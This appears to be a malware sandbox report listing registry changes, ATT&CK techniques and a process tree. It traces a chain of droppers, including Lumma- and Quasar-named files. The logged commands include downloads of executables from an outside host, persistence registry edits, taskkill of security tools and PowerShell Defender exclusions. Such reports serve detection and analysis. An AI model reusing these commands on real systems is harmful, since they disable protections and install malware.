Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{A87958FF-B414-7748-9183-DBF183A25905}	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{10C9242E-D604-49B5-99E4-BF87945EF86C}\TypeLib	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{5d65dd0d-81bf-4ff4-aeea-6effb445cb3f}\TypeLib\Version = "1.0"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}\ = "ISyncEngineEvents"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\TypeLib	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\OOBERequestHandler.OOBERequestHandler	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{2387C6BD-9A36-41A2-88ED-FF731E529384}\TypeLib\Version = "1.0"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}\ProxyStubClsid32\ = "{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{944903E8-B03F-43A0-8341-872200D2DA9C}\ProxyStubClsid32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\CLSID\{021E4F06-9DCC-49AD-88CF-ECC2DA314C8A}\LocalServer32\ = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.220.1024.0005\\FileCoAuth.exe\""	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{3A4E62AE-45D9-41D5-85F5-A45B77AB44E5}\ = "IDeviceHeroShotCallback"	OneDrive.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\BannerNotificationHandler.BannerNotificationHandler	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{22A68885-0FD9-42F6-9DED-4FB174DC7344}\TypeLib	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\OOBEREQUESTHANDLER.OOBEREQUESTHANDLER\CLSID	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{5999E1EE-711E-48D2-9884-851A709F543D}\LocalServer32	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Interface\{2EB31403-EBE0-41EA-AE91-A1953104EA55}\ = "ISyncEngineEvents"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\NucleusNativeMessaging.NucleusNativeMessaging.1\CLSID\ = "{917E8742-AA3B-7318-FA12-10485FB322A2}"	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{D0ED5C72-6197-4AAD-9B16-53FE461DD85C}	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\ = "SyncingOverlayHandler2 Class"	OneDrive.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{869BDA08-7ACF-42B8-91AE-4D8D597C0B33}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OneDrive.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\WOW6432NODE\INTERFACE\{50487D09-FFA9-45E1-8DF5-D457F646CD83}\PROXYSTUBCLSID32	OneDriveSetup.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_CLASSES\INTERFACE\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A}\TYPELIB	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{B05D37A9-03A2-45CF-8850-F660DF0CBF07}\ProxyStubClsid32\ = "{4410DC33-BC7C-496B-AA84-4AEA3EEE75F7}"	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\WOW6432Node\Interface\{385ED83D-B50C-4580-B2C3-9E64DBE7F511}\TypeLib\ = "{BAE13F6C-0E2A-4DEB-AA46-B8F55319347C}"	OneDrive.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exe

pid process

3928 reg.exe
2508 reg.exe
1032 reg.exe
Runs net.exe
Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXE

pid process

3836 PING.EXE
3988 PING.EXE
1704 PING.EXE
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 145 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: AddClipboardFormatListener 3 IoCs

Processes:

OneDrive.exeOneDrive.exeexplorer.exe

pid process

4588 OneDrive.exe
2076 OneDrive.exe
5744 explorer.exe

pid	process
3928	reg.exe
2508	reg.exe
1032	reg.exe

pid	process
3836	PING.EXE
3988	PING.EXE
1704	PING.EXE

description	flow	ioc
HTTP User-Agent header	145	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 54 IoCs

Processes:

OneDrive.exeOneDriveSetup.exeOneDriveSetup.exeOneDrive.exetaskmgr.exe

pid	process
4588	OneDrive.exe
4588	OneDrive.exe
1620	OneDriveSetup.exe
1620	OneDriveSetup.exe
1620	OneDriveSetup.exe
1620	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2844	OneDriveSetup.exe
2076	OneDrive.exe
2076	OneDrive.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

OneDriveSetup.exeOneDriveSetup.exeSearchIndexer.exetaskmgr.exe7zG.exe7zG.exe7zG.exe4363463463464363463463463.exeNew Text Document mod.exeReurgingGleek.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1620	OneDriveSetup.exe
Token: SeIncreaseQuotaPrivilege	2844	OneDriveSetup.exe
Token: 33	1976	SearchIndexer.exe
Token: SeIncBasePriorityPrivilege	1976	SearchIndexer.exe
Token: SeTakeOwnershipPrivilege	1976	SearchIndexer.exe
Token: SeDebugPrivilege	4104	taskmgr.exe
Token: SeSystemProfilePrivilege	4104	taskmgr.exe
Token: SeCreateGlobalPrivilege	4104	taskmgr.exe
Token: 33	4104	taskmgr.exe
Token: SeIncBasePriorityPrivilege	4104	taskmgr.exe
Token: SeRestorePrivilege	5564	7zG.exe
Token: 35	5564	7zG.exe
Token: SeSecurityPrivilege	5564	7zG.exe
Token: SeSecurityPrivilege	5564	7zG.exe
Token: SeRestorePrivilege	5664	7zG.exe
Token: 35	5664	7zG.exe
Token: SeSecurityPrivilege	5664	7zG.exe
Token: SeSecurityPrivilege	5664	7zG.exe
Token: SeRestorePrivilege	5740	7zG.exe
Token: 35	5740	7zG.exe
Token: SeSecurityPrivilege	5740	7zG.exe
Token: SeSecurityPrivilege	5740	7zG.exe
Token: SeDebugPrivilege	5836	4363463463464363463463463.exe
Token: SeDebugPrivilege	5976	New Text Document mod.exe
Token: SeDebugPrivilege	4016	ReurgingGleek.exe

Suspicious use of FindShellTrayWindow 55 IoCs

Processes:

OneDrive.exeOneDrive.exetaskmgr.exe7zG.exe7zG.exe7zG.exe

pid	process
4588	OneDrive.exe
4588	OneDrive.exe
4588	OneDrive.exe
4588	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
5564	7zG.exe
5664	7zG.exe
5740	7zG.exe

Suspicious use of SendNotifyMessage 52 IoCs

Processes:

OneDrive.exeOneDrive.exetaskmgr.exe

pid	process
4588	OneDrive.exe
4588	OneDrive.exe
4588	OneDrive.exe
4588	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe
4104	taskmgr.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

OneDrive.exeOneDrive.exedusers.exeUsers.exenine.exewmild.exewmild.exeexplorer.exe

pid	process
4588	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
2076	OneDrive.exe
1840	dusers.exe
2604	Users.exe
5328	nine.exe
5508	wmild.exe
5564	wmild.exe
5744	explorer.exe
5744	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

OneDrive.exeOneDriveSetup.exeSearchIndexer.exe4363463463464363463463463.exedusers.execmd.exeUsers.exeNew Text Document mod.execmd.exelumma0805.exe

description	pid	process	target process
PID 4588 wrote to memory of 1620	4588	OneDrive.exe	OneDriveSetup.exe
PID 4588 wrote to memory of 1620	4588	OneDrive.exe	OneDriveSetup.exe
PID 4588 wrote to memory of 1620	4588	OneDrive.exe	OneDriveSetup.exe
PID 2844 wrote to memory of 3660	2844	OneDriveSetup.exe	FileSyncConfig.exe
PID 2844 wrote to memory of 3660	2844	OneDriveSetup.exe	FileSyncConfig.exe
PID 2844 wrote to memory of 3660	2844	OneDriveSetup.exe	FileSyncConfig.exe
PID 1976 wrote to memory of 684	1976	SearchIndexer.exe	SearchProtocolHost.exe
PID 1976 wrote to memory of 684	1976	SearchIndexer.exe	SearchProtocolHost.exe
PID 1976 wrote to memory of 2960	1976	SearchIndexer.exe	SearchFilterHost.exe
PID 1976 wrote to memory of 2960	1976	SearchIndexer.exe	SearchFilterHost.exe
PID 1976 wrote to memory of 5268	1976	SearchIndexer.exe	SearchFilterHost.exe
PID 1976 wrote to memory of 5268	1976	SearchIndexer.exe	SearchFilterHost.exe
PID 5836 wrote to memory of 6124	5836	4363463463464363463463463.exe	DbVisualizer_Pro.exe
PID 5836 wrote to memory of 6124	5836	4363463463464363463463463.exe	DbVisualizer_Pro.exe
PID 5836 wrote to memory of 1840	5836	4363463463464363463463463.exe	dusers.exe
PID 5836 wrote to memory of 1840	5836	4363463463464363463463463.exe	dusers.exe
PID 5836 wrote to memory of 1840	5836	4363463463464363463463463.exe	dusers.exe
PID 1840 wrote to memory of 5084	1840	dusers.exe	cmd.exe
PID 1840 wrote to memory of 5084	1840	dusers.exe	cmd.exe
PID 1840 wrote to memory of 5084	1840	dusers.exe	cmd.exe
PID 5084 wrote to memory of 2604	5084	cmd.exe	Users.exe
PID 5084 wrote to memory of 2604	5084	cmd.exe	Users.exe
PID 5084 wrote to memory of 2604	5084	cmd.exe	Users.exe
PID 5084 wrote to memory of 3836	5084	cmd.exe	PING.EXE
PID 5084 wrote to memory of 3836	5084	cmd.exe	PING.EXE
PID 5084 wrote to memory of 3836	5084	cmd.exe	PING.EXE
PID 5836 wrote to memory of 5328	5836	4363463463464363463463463.exe	nine.exe
PID 5836 wrote to memory of 5328	5836	4363463463464363463463463.exe	nine.exe
PID 5836 wrote to memory of 5328	5836	4363463463464363463463463.exe	nine.exe
PID 2604 wrote to memory of 2652	2604	Users.exe	cmd.exe
PID 2604 wrote to memory of 2652	2604	Users.exe	cmd.exe
PID 2604 wrote to memory of 2652	2604	Users.exe	cmd.exe
PID 5976 wrote to memory of 4928	5976	New Text Document mod.exe	lumma0805.exe
PID 5976 wrote to memory of 4928	5976	New Text Document mod.exe	lumma0805.exe
PID 5976 wrote to memory of 4928	5976	New Text Document mod.exe	lumma0805.exe
PID 2652 wrote to memory of 1980	2652	cmd.exe	chcp.com
PID 2652 wrote to memory of 1980	2652	cmd.exe	chcp.com
PID 2652 wrote to memory of 1980	2652	cmd.exe	chcp.com
PID 2652 wrote to memory of 3988	2652	cmd.exe	PING.EXE
PID 2652 wrote to memory of 3988	2652	cmd.exe	PING.EXE
PID 2652 wrote to memory of 3988	2652	cmd.exe	PING.EXE
PID 4928 wrote to memory of 5516	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5516	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5516	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5384	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5384	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5384	4928	lumma0805.exe	RegAsm.exe
PID 2652 wrote to memory of 5508	2652	cmd.exe	wmild.exe
PID 2652 wrote to memory of 5508	2652	cmd.exe	wmild.exe
PID 2652 wrote to memory of 5508	2652	cmd.exe	wmild.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 4928 wrote to memory of 5160	4928	lumma0805.exe	RegAsm.exe
PID 2652 wrote to memory of 5564	2652	cmd.exe	wmild.exe
PID 2652 wrote to memory of 5564	2652	cmd.exe	wmild.exe
PID 2652 wrote to memory of 5564	2652	cmd.exe	wmild.exe
PID 5976 wrote to memory of 5632	5976	New Text Document mod.exe	crypted_4c800f49.exe
PID 5976 wrote to memory of 5632	5976	New Text Document mod.exe	crypted_4c800f49.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

3068 attrib.exe

pid	process
3068	attrib.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Downloaders.zip
1⤵
PID:2976

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
1⤵
- Modifies system executable filetype association
- Registers COM server for autorun
- Checks processor information in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4588

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" /update /restart
2⤵
- Executes dropped EXE
- Checks system information in the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe /update /restart /peruser /childprocess /extractFilesWithLessThreadCount /renameReplaceOneDriveExe /renameReplaceODSUExe /removeNonCurrentVersions /enableODSUReportingMode
3⤵
- Executes dropped EXE
- Modifies system executable filetype association
- Registers COM server for autorun
- Adds Run key to start application
- Checks system information in the registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2844

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Registers COM server for autorun
- Drops desktop.ini file(s)
- Modifies registry class
PID:3660

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
/updateInstalled /background
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system executable filetype association
- Registers COM server for autorun
- Checks system information in the registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:2076

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:952

C:\Windows\system32\SearchIndexer.exe
C:\Windows\system32\SearchIndexer.exe /Embedding
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\System32\SearchProtocolHost.exe
"C:\Windows\System32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
2⤵
- Modifies data under HKEY_USERS
PID:684

C:\Windows\system32\SearchFilterHost.exe
"C:\Windows\system32\SearchFilterHost.exe" 832 2536 2620 816 {0E5DCEC5-7795-4E38-9621-94DFD9F9A421}
2⤵
- Modifies data under HKEY_USERS
PID:2960

C:\Windows\system32\SearchFilterHost.exe
"C:\Windows\system32\SearchFilterHost.exe" 832 2640 2636 816 {85EE815A-7738-4808-A14A-3AD87E32A3BF}
2⤵
PID:5268

C:\Windows\SysWOW64\DllHost.exe
"C:\Windows\SysWOW64\DllHost.exe" /Processid:{5250E46F-BB09-D602-5891-F476DC89B700}
1⤵
- Loads dropped DLL
PID:1448

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4104

C:\Windows\SysWOW64\DllHost.exe
"C:\Windows\SysWOW64\DllHost.exe" /Processid:{5250E46F-BB09-D602-5891-F476DC89B700}
1⤵
- Loads dropped DLL
PID:5176

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap25959:80:7zEvent7269
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5564

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap15949:108:7zEvent5265
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5664

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap2164:110:7zEvent29943
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5740

C:\Users\Admin\Desktop\4363463463464363463463463.exe
"C:\Users\Admin\Desktop\4363463463464363463463463.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5836

C:\Users\Admin\Desktop\Files\DbVisualizer_Pro.exe
"C:\Users\Admin\Desktop\Files\DbVisualizer_Pro.exe"
2⤵
- Executes dropped EXE
PID:6124

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
3⤵
PID:6332

C:\Users\Admin\Desktop\Files\dusers.exe
"C:\Users\Admin\Desktop\Files\dusers.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Files\move.bat" "
3⤵
- Suspicious use of WriteProcessMemory
PID:5084

C:\Users\Admin\Desktop\Files\Users.exe
users.exe
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Macromedia\ser.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SysWOW64\chcp.com
CHCP 1251
6⤵
PID:1980

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 1
6⤵
- Runs ping.exe
PID:3988

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/app.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5508

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/tibokUS.exe
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5564

C:\Windows\SysWOW64\reg.exe
reg add "hkcu\software\microsoft\windows\currentversion" /v "alg" /t reg_sz /d svr.vbs /f
6⤵
PID:1164

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 6
6⤵
- Runs ping.exe
PID:1704

C:\Windows\SysWOW64\reg.exe
REG QUERY hkcu\software\microsoft\windows\currentversion
6⤵
- Modifies registry key
PID:2508

C:\Windows\SysWOW64\find.exe
find "svr.vbs"
6⤵
PID:1364

C:\Windows\SysWOW64\reg.exe
reg delete "hkcu\software\microsoft\windows\currentversion" /v "alg" /f
6⤵
PID:5728

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ipz.exe
6⤵
- Kills process with taskkill
PID:2264

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ipz2.exe
6⤵
- Kills process with taskkill
PID:5664

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im nvidsrv.exe
6⤵
- Kills process with taskkill
PID:5828

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im safesurf.exe
6⤵
- Kills process with taskkill
PID:2320

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im surfguard.exe
6⤵
- Kills process with taskkill
PID:5972

C:\Windows\SysWOW64\reg.exe
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings /f
6⤵
- Modifies registry key
PID:1032

C:\Windows\SysWOW64\reg.exe
reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings /f
6⤵
- Modifies registry key
PID:3928

C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
wmild.exe -c http://duserifram.toshibanetcam.com/ASUFUSER.exe
6⤵
PID:960

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
4⤵
- Runs ping.exe
PID:3836

C:\Windows\SysWOW64\explorer.exe
explorer.exe C:\Users\Admin\AppData\Roaming\Macromedia
4⤵
PID:5676

C:\Users\Admin\Desktop\Files\nine.exe
"C:\Users\Admin\Desktop\Files\nine.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5328

C:\Users\Admin\Desktop\Files\qauasariscrypted.exe
"C:\Users\Admin\Desktop\Files\qauasariscrypted.exe"
2⤵
PID:5148

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
3⤵
- Command and Scripting Interpreter: PowerShell
PID:6292

C:\Program Files (x86)\Windows Mail\wab.exe
"C:\Program Files (x86)\Windows Mail\wab.exe"
3⤵
PID:6592

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
3⤵
PID:6664

C:\Users\Admin\Desktop\Files\crypted.exe
"C:\Users\Admin\Desktop\Files\crypted.exe"
2⤵
PID:988

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:3068

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4736

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:6132

C:\Users\Admin\Desktop\Files\maza-0.16.3-win64-setup-unsigned.exe
"C:\Users\Admin\Desktop\Files\maza-0.16.3-win64-setup-unsigned.exe"
2⤵
PID:3124

C:\Users\Admin\Desktop\Files\taskmgr.exe
"C:\Users\Admin\Desktop\Files\taskmgr.exe"
2⤵
PID:6444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\taskmgr.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
PID:6968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
PID:6744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'
3⤵
